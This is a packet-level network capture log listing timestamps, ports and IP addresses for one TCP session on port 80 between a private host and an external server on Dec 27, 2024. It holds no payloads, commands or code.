Dec 27, 2024 08:45:30.452424049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.452805996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.452883005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.453207970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.469136000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.469193935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.469402075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.469454050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.469746113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.469799042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.470103025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.470210075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.470716000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.470773935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.470957994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.471048117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.471107960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.471668959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.471718073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.471971035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.472383022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.472603083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.472624063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.473081112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.473146915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.473182917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.473830938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.473915100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.473941088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.474508047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.474558115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.474631071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.475295067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.475339890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.475344896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.488744974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.488786936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.488843918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.488909960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.488956928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.488992929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.489629984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.489685059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.489727974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.490367889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.490427017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.490457058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.491075039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.491137028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.491168976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.491772890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.491843939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.491888046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.492518902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.492556095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.492556095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.519365072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.519423962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.519474030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.519699097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.519752026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.519845009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.519933939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.519979000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.520574093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.520662069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.520704031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.521287918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.521416903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.521473885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.522285938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.522392988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.522527933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.522768021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.522844076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.522882938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.523463011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.523606062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.523741961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.524183989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.524238110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.524302006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.524849892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.524919987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.524960995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.525568008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.525682926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.525727034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.526278019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.526386023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.526499987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.526988983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.527102947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.527148008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.527688980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.527791023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.527842045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.528476000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.569228888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.596018076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.596081972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.596142054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.596237898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.596401930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.596448898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.596961021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.597068071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.597122908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.597671032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.597767115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.597810030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.598393917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.598551035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.598774910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.599214077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.599347115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.599406004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.599831104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.600032091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.600260019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.600578070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.600694895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.600740910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.601239920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.601351976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.601389885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.601947069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.602056026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.602164984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.602663040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.602737904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.602793932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.603379011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.603502989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.603653908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.604099035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.604255915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.604300022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.604845047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.604953051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.604989052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.605536938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.605647087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.605721951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.606219053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.606419086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.606465101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.607012987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.607059956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.607139111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.650161028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.650453091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.650468111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.650516987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.650576115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.650615931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.651207924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.651356936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.651396990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.652076960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.652091026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.652128935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.652637005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.652728081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.652774096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.653333902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.653373003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.653413057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.654087067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.654108047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.654141903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.670309067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.670528889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.670600891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.670650959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.670778036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.671355009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.671405077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.671448946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.671492100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.672084093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.672322035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.672427893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.672471046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.673044920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.673126936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.673167944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.673765898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.673804045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.673872948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.674612045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.674694061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.674834013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.675208092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.675251961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.675293922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.675947905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.676007032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.676074028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.676608086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.676647902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.676688910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.690054893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.690143108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.690179110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.690504074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.690558910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.690629005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.691055059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.691098928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.691138029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.691751003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.691804886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.691865921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.692490101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.692534924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.692655087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.693196058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.693249941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.693336010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.693922043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.693973064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.694017887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.720963955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.721021891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.721076012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.721184969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.721353054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.721365929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.721940041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.721995115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.722012997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.722634077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.722690105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.722701073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.723366976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.723408937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.723438978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.724080086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.724117994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.724144936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.724746943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.724805117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.724879026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.725482941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.725563049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.725588083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.726160049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.726222038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.726274014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.726921082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.727005959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.727025032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.727575064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.727617979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.727648020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.728328943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.728440046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.728494883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.729022980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.729080915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.729144096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.729715109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.729830980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.797636032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.797653913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.797723055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.798043966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.798120022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.798167944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.798747063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.798804045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.798885107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.799381018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.799464941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.799743891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.800060034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.800137997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.800179958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.800789118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.800905943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.801251888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.801461935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.801565886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.801625013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.802031994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.802107096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.802162886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.802716970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.802839994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.803144932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.803491116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.803586006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.803632021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.804230928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.804301977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.804342985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.804856062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.804955959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.804996014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.805603981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.805679083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.805721045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.806284904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.806385994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.806430101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.806979895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.807089090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.807142973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.807712078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.807797909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.807970047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.808440924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.808475971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.808533907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.852663994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.852683067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.852778912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.852807999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.852945089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.853445053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.853521109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.853609085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.853621960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.853651047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.853780031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.853825092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.854109049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.854273081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.855000973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.855014086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.855053902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.855083942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.855654955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.855815887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.855868101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:30.856347084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.871969938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.872133017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:30.872224092 CET	49744	80	192.168.2.4	185.215.113.16
